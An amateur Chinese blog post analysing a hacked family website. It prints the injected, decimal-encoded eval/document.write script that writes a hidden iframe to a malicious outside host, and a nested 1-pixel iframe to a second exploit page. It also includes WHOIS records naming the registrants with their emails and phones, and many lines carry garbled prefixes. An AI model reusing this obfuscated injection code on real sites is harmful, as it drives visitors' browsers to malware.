首发在我的博客里面，
X<;. o( zez http://www.areway.cn/?p=175 Gr2}N"X= "7 3y}' > U?\WgE$ 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
P knOeW"j a pa&'%7 <script>t=’60,105,102,114,97,109,101,
R'c dEoy 32,115,114,99,61,104,116,116,112,58,47,47,
+S( # 7 102,114,101,101,46,117,45,117,117,117,46,99,
:V+rC]0 110,47,101,114,114,111,114,46,104,116,109,
*Sj) 9mp 32,119,105,100,116,104,61,49,48,48,32,104,
N zQvciJ@" 101,105,103,104,116,61,48,62,60,47,105,102,
w e a 114,97,109,101,62′;
:P_h_Tizv t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
_j , Tc*T Ly2,*\7 <script>t=’60,105,102,114,97,109,101,32,115,
!F P ] 114,99,61,104,116,116,112,58,47,47,102,114,
}}TPu8Rl 101,101,46,117,45,117,117,117,46,99,110,47,
#0<pRDXj 101,114,114,111,114,46,104,116,109,32,119,
ZSQiQ2\) 105,100,116,104,61,49,48,48,32,104,101,105,
8m
iJQIq 103,104,116,61,48,62,60,47,105,102,114,97,
JE9v+a{7 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
M{24 MF document.write(t);</script>
WMtFXkf6" ]}g\te <html xmlns=”
ivo><"Y(r http://www.w3.org/1999/xhtml ;F @S z/ “>
O6y:e #0z <head>
ck] I ? <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
y{mt *VA4 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
e#HPU <title>首页 - 爱生活家庭网
AJ i+JO- t!rrYBSCr 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
(9%?ik 转换字符串后的大概内容是（谁点击后果自付）：
n}Z%D-b$ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
jnp~ACN, k)>H=? mI 查询玉米u-uuu.cn的详细信息：
RM_% u=jC Domain Name: u-uuu.cn
$;Fx Zkp ROID: 20070901s10001s64972306-cn
fphCQO^#vW Domain Status: ok
Iz+%wAZ|B6 Registrant Organization: 王雷
)Q`Ycz- Registrant Name: 王雷
3#,6(k4> Administrative Email:
czlovexs@126.com (k!7`<k!Y Sponsoring Registrar: 北京万网志成科技有限公司
GZaB z# U Name Server:ns.yovole.com
ZskX!{ Name Server:ns1.yovole.com
j$Ndq(<tG Registration Date: 2007-09-01 17:54
aWTurnee^ Expiration Date: 2008-09-01 17:54
[6l0|Y 最后PING了一下地址 都没有什么….
-hnNa A A;rk4)lij 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
n[DRX5OxR' <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
PR|z -T <script language=”javascript” src=”
y_L8i[ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script O1o>eDE5A >
zl8M<z1`1 这个玉米应该有可能是木马作者的：
(
xooU 8d foafau.info的详细信息：
z# &1> Access to INFO WHOIS information is provided to assist persons in
"v?F4&\ 8 determining the contents of a domain name registration record in the
| I:@ : Afilias registry database. The data in this record is provided by
NL:-3W7vf Afilias Limited for informational purposes only, and Afilias does not
8zeeC
eI U guarantee its accuracy. This service is intended only for query-based
!o`7$`%Wz\ access. You agree that you will use this data only for lawful purposes
-'qVnu and that, under no circumstances will you use this data to: (a) allow,
QErdjjg E enable, or otherwise support the transmission by e-mail, telephone, or
|qe;+)0>K facsimile of mass unsolicited, commercial advertising or solicitations
&X:;B' to entities other than the data recipient’s own existing customers; or
,(q]
$eOZ (b) enable high volume, automated, electronic processes that send
]CLM'$ queries or data to the systems of Registry Operator, a Registrar, or
sTP\ } Afilias except as reasonably necessary to register domain names or
u_NLgM7* modify existing registrations. All rights reserved. Afilias reserves
HUjX[w8 the right to modify these terms at any time. By submitting this query,
z0LspRaz you agree to abide by this policy.
sDN WB_~ Domain ID:D22418703-LRMS
Z4Q]By:/L Domain Name:FOAFAU.INFO
} .045 Wuu Created On:20-Nov-2007 16:05:42 UTC
4r4 #u'Om Last Updated On:20-Nov-2007 16:05:44 UTC
mhrF9&s Expiration Date:20-Nov-2008 16:05:42 UTC
f@YdL6&d- Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
U)f('zD Status:CLIENT DELETE PROHIBITED
nxhlTf>3 Status:CLIENT RENEW PROHIBITED
z< 9C- Status:CLIENT TRANSFER PROHIBITED
,u>LAo0 Status:CLIENT UPDATE PROHIBITED
'i$. _Tx Status:TRANSFER PROHIBITED
t[+bZUS$~ Registrant ID:GODA-040110615
pnSKIn Registrant Name:liu hong
KE"6 I Registrant Organization:
:z P:4 N W Registrant Street1:beijing
`Gv\"|Gn Registrant Street2:
) ??N]V_U Registrant Street3:
kCD] & Registrant City:beijing
KF#^ MEw% Registrant State/Province:
94&t0j _ Registrant Postal Code:100000
?&9=f\/P Registrant Country:CN
'V^M+ng Registrant Phone:+86.860108888777
d6*84'|! Registrant Phone Ext.:
(N&i4 O-I Registrant FAX:
l4i 51S" Registrant FAX Ext.:
A^M]vk%dg Registrant Email:bbbshiji@163.com
{.k IC@^O Admin ID:GODA-240110615
hfI=9x/ Admin Name:liu hong
] / Nt Admin Organization:
PcA^ jBgGl Admin Street1:beijing
%XN;S29d5W Admin Street2:
Gr\jjf` Admin Street3:
*w0|`[P+h Admin City:beijing
u QH] Admin State/Province:
a]fFR~ OY Admin Postal Code:100000
)/DN>rU Admin Country:CN
kOo Vqu Admin Phone:+86.860108888777
Wjq 9f; Admin Phone Ext.:
j[i*;0) | Admin FAX:
Sak^J.~G[ Admin FAX Ext.:
ij:a+T Admin Email:bbbshiji@163.com
0~ nCT&V Billing ID:GODA-340110615
f=V`Nn<=A Billing Name:liu hong
Y>aVnixx< Billing Organization:
k-3;3Mq Billing Street1:beijing
|DW^bv Billing Street2:
B!J?,SB Billing Street3:
n:4 0T1: q Billing City:beijing
!I1p`_(_7 Billing State/Province:
>WZ%P v * Billing Postal Code:100000
MF.!D;s Billing Country:CN
pSC{0Y$g Billing Phone:+86.860108888777
^k % +ao Billing Phone Ext.:
DZL(G [ Billing FAX:
?;](;n#lU Billing FAX Ext.:
` :Wyw<^ Billing Email:bbbshiji@163.com
uY)4y0 Tech ID:GODA-140110615
u, iiS4'Ze Tech Name:liu hong
?MSZO]Q4+ Tech Organization:
4w%hvJ Tech Street1:beijing
pW8?EGO@ Tech Street2:
ynra%"sd Tech Street3:
}Y.@: v
j Tech City:beijing
j,].88 H Tech State/Province:
@ A8y!< Tech Postal Code:100000
2&'u O'K Tech Country:CN
} -4 p8Zt Tech Phone:+86.860108888777
D_<B^3w ) Tech Phone Ext.:
U [;ECw@ Tech FAX:
'p[6K'Uq5 Tech FAX Ext.:
X)]>E]X Tech Email:bbbshiji@163.com
(:~_#BA Name Server:NS27.DOMAINCONTROL.COM
7Y~5gn Name Server:NS28.DOMAINCONTROL.COM
3@eI? (N Name Server:
IA1O]i
S Name Server:
9VaS CB Name Server:
BSy4
d> Name Server:
u]B
b ^[ Name Server:
^{yb4yQ
0 Name Server:
vQXF$/S Name Server:
D.AiqO<z Name Server:
oKS W:A Name Server:
"AJ >pU3 Name Server:
.w m<l: Name Server:
nC/T$
#G ocW`sE?EED 接着下载每个文件里面的代码：
K'e!BZm6Q 一步一步看..
=fBr2%qK 
b N>Ar 
0_y&9Te 
79Q,XRWh| 
*sfz +8Y 
(#je0ES 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
